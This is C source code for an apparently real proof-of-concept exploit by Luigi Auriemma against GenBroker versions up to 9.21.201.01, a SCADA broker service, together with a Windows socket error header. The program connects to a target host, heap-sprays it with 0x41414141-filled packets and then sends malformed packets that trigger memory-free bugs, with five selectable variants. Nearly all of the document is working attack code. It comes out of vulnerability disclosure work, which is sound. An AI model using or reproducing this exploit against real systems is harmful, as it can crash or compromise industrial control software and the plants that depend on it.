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--------
winerr.h
--------
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
-----------
genesis_1.c
-----------
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define PORT 38080
#define BUFFSZ 0x2000 // 0x4000 is the max but 0x2000 seems more compatible
#define ELEMENTS 0xfff
int send_gen(int sd, int type, u8 *data, int datasz);
int putss(u8 *data, u8 *str);
int putmm(u8 *data, u8 *str, int size);
int putcc(u8 *data, int chr, int size);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct linger ling = {1,1};
struct sockaddr_in peer;
int sd,
i,
bug,
type;
u16 port = PORT;
u8 *host,
*buff,
*fill,
*p,
*f;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"GenBroker <= 9.21.201.01 multiple memory free vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <bug> <host> [port(%d)]\n"
"\n"
"Bugs:\n"
" refer to the relative advisory for the available numbers\n"
" and what vulnerabilities they test\n"
"\n", argv[0], port);
exit(1);
}
bug = atoi(argv[1]);
host = argv[2];
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(host);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port);
buff = malloc(BUFFSZ);
if(!buff) std_err();
p = buff;
switch(bug) {
case 1: {
type = 0x4b0;
p += putss(p, NULL);
p += putss(p, NULL);
p += putxx(p, 0, 32);
p += putxx(p, 0, 32);
p += putxx(p, 0, 32);
p += putxx(p, 0, 32);
p += putxx(p, 0, 32); // elements of the first array (numbers)
p += putxx(p, 0, 32);
p += putxx(p, 0, 32);
p += putxx(p, ELEMENTS, 32); // elements of the second array (strings)
p += putxx(p, ELEMENTS, 32); // elements of the third array (strings
break;
}
case 2: {
type = 0x4b2;
p += putxx(p, ELEMENTS, 32);
break;
}
case 3: {
type = 0x4b5;
p += putss(p, NULL);
p += putss(p, NULL);
p += putxx(p, 0, 32);
p += putxx(p, 0, 32);
p += putxx(p, ELEMENTS, 32);
break;
}
case 4: {
type = 0xDAE;
p += putxx(p, ELEMENTS, 32);
break;
}
case 5: {
type = 0x1bbc;
p += putss(p, NULL);
p += putss(p, NULL);
p += putxx(p, 0, 32);
p += putss(p, NULL);
p += putss(p, NULL);
p += putss(p, NULL);
p += putxx(p, ELEMENTS, 32);
break;
}
default: {
printf("\nError: invalid bug number %d\n", bug);
exit(1);
break;
}
}
// for this type of attack the data must be supplied before
// the malformed packet so the following is useless
//p += putcc(p, 0x41, BUFFSZ - (p - buff)); // good as string size too
// send_gen automatically adjusts the size to 0x1ff4
printf("- heap spray packets: ");
fill = malloc(BUFFSZ);
if(!fill) std_err();
f = fill;
f += putxx(f, 340, 32);
f += putss(f, "parameter");
f += putss(f, "value");
for(i = 0; i < 340; i++) {
f += putss(f, "AAAA");
f += putss(f, "AAAA");
f += putxx(f, 0x41414141, 32);
f += putxx(f, 0x41414141, 32);
f += putxx(f, 0x41414141, 32);
}
for(i = 0; i < 20; i++) {
fputc('.', stdout);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling));
if(connect(sd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) std_err();
send_gen(sd, 0x4b2, fill, f - fill);
close(sd);
}
printf("\n");
printf("- malformed packets: ");
for(i = 0; i < 10; i++) {
fputc('.', stdout);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling));
if(connect(sd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) std_err();
send_gen(sd, type, buff, p - buff);
close(sd);
}
printf("\n");
printf("- done\n");
return(0);
}
int send_gen(int sd, int type, u8 *data, int datasz) {
static u8 buff[BUFFSZ];
static int pck = 1;
int t;
u8 *p;
t = 4 + 4 + 4 + datasz;
if(t > (BUFFSZ - 12)) t = BUFFSZ - 12;
p = buff;
p += putxx(p, 1, 16);
p += putxx(p, htons(pck++), 16);
p += putxx(p, htonl(1), 32);
p += putxx(p, htonl(t), 32);
p += putxx(p, 1, 32);
p += putxx(p, 0, 32);
p += putxx(p, type, 32);
if(datasz > 0) p += putmm(p, data, datasz);
if(send(sd, buff, p - buff, 0) < 0) return(-1);
return(0);
}
int putss(u8 *data, u8 *str) {
int len;
u8 *p;
len = 0;
if(str) len = strlen(str);
p = data;
if(len < 0xff) {
p += putxx(p, len, 8);
} else {
p += putxx(p, 0xff, 8);
p += putxx(p, len, 16);
}
p += putmm(p, str, len);
return(p - data);
}
int putmm(u8 *data, u8 *str, int size) {
if(size < 0) size = strlen(str);
memcpy(data, str, size);
return(size);
}
int putcc(u8 *data, int chr, int size) {
memset(data, chr, size);
return(size);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
//data[i] = num >> ((bytes - 1 - i) << 3);
data[i] = num >> (i << 3);
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
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